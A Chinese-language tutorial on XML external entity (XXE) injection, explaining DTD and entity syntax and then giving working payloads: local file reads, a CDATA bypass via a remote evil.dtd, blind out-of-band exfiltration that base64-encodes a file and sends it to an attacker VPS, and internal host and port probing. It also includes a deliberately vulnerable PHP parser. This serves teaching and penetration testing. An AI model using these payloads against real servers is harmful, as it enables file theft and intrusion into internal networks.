XXE漏洞原理及利用
# XXE漏洞原理及利用
# 概述
XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞;XXE扩大了攻击面
当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)
# XML基础知识
# XML基本结构
DTD 的作用:1.定义元素(其实就是对应 XML 中的标签);2. 定义实体(对应XML 标签中的内容)
假如 DTD 位于 XML 源文件的外部,那么可以通过引用外部文档说明的方式,效果如下:
# 两种外部文档说明(DTD)
当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
1如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
# 四种实体声明(ENTITY)
内部实体声明
<!ENTITY 实体名称 "实体的值">
1<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]> <foo>&xxe;</foo>
1
2
3
4外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
1<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <reset> <login>&test;</login> <secret>login</secret> </reset>
1
2
3
4
5
6
7上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容
参数实体声明
<!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSTEM "URI/URL">
1
2<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]> <reset> <secret>login</secret> </reset>
1
2
3
4
5
6
7
8参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用
允许包含外部实体,就可能存在XXE 攻击
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示
公共实体声明
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
1
# XXE漏洞
# 基础知识
示例代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
2
3
4
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
2
3
4
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换
# 重点
# 重点一:
基础知识也提到实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
2
3
4
5
6
7
8
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
# 重点二:
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
1
2
3
4
5
6
7参数实体
- 使用
% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;
引用 - 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
1
2
3参数实体在我们 Blind XXE 中起到了至关重要的作用
- 使用
# 能做什么
上面疯狂暗示了 外部实体 ,那他究竟能干什么?
实际上,当你看到下面这段代码的时候,有一点安全意识的小伙伴应该隐隐约约能觉察出什么
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
2
3
4
5
6
7
8
既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
# 实例一:读本地敏感文件(有回显)
这个实例的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
本地服务器上放上解析 XML 的 php 代码:
xxe.php:
<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
2
3
4
5
6
7
8
9
10
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
2
3
4
结果如下图:
因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,那么我么要是换成下面这个文件呢?
结果如下图:
可以看到,不但没有读到我们想要的文件,而且还给我们报了一堆错,怎么办?这个时候就要祭出我们的另一个神器了------CDATA ,简单的介绍如下(引用自我的一片介绍 XML 的博客)
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的
<``>
&
或者"
字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记<![CDATA[ xxxxxxxxx ]]>
1
2
3可以输入任意字符除了
]]>
不能嵌套用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用CDATA包起来
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下
首先,找到问题出现的地方,问题出现在
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
2
3
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 "”,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
结果如下图:
注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在DTD中拼接,我们知道我们只有一种选择,就是使用参数实体
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]>
<roottag>&all;</roottag>
2
3
4
5
6
7
evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
2
结果如下图:
**tips:提一个点,如果是在 java 中 还有一个协议能代替 file 协议 ,那就是 netdoc **
# 新的问题出现
但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带
# 新的解决方法
想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)
# 实例二:无回显读取本地敏感文件(Blind OOB XXE)
xxe.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
2
3
4
5
6
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://VPSIP:端口?p=%file;'>">
%eval;
%send;
2
3
4
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://VPSIP:端口/evil.dtd">
%remote;
]>
2
3
4
如下:
POST /xxe.php HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://VPSIP:端口/evil.dtd">
%remote;
]>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
结果如下:
我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错
整个调用过程:
我们从 payload 中能看到 连续调用了一个参数实体 %remote去请求包含远程的evil.dtd文件,该dtd包含进来后,我们的利用顺序为,%remote 先包含evil.dtd文件,然后 %eval调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题
# 新的思考
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
如图所示:
PHP在安装扩展以后还能支持的协议:
注意:
- 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7update 7 和 Oracle JDK 1.6 update 35
- libxml 是 PHP 的 xml 支持
# 实例三:内网主机探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://内网IP"> ]>
<creds>&goodies;</creds>
2
3
4
tips:根据响应的时间的长短判断ip是否存在,可以通过burp重放遍历端口
# 实例四:内网主机端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://内网IP:端口"> ]>
<creds>&goodies;</creds>
2
3
4
tips:根据响应的时间的长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息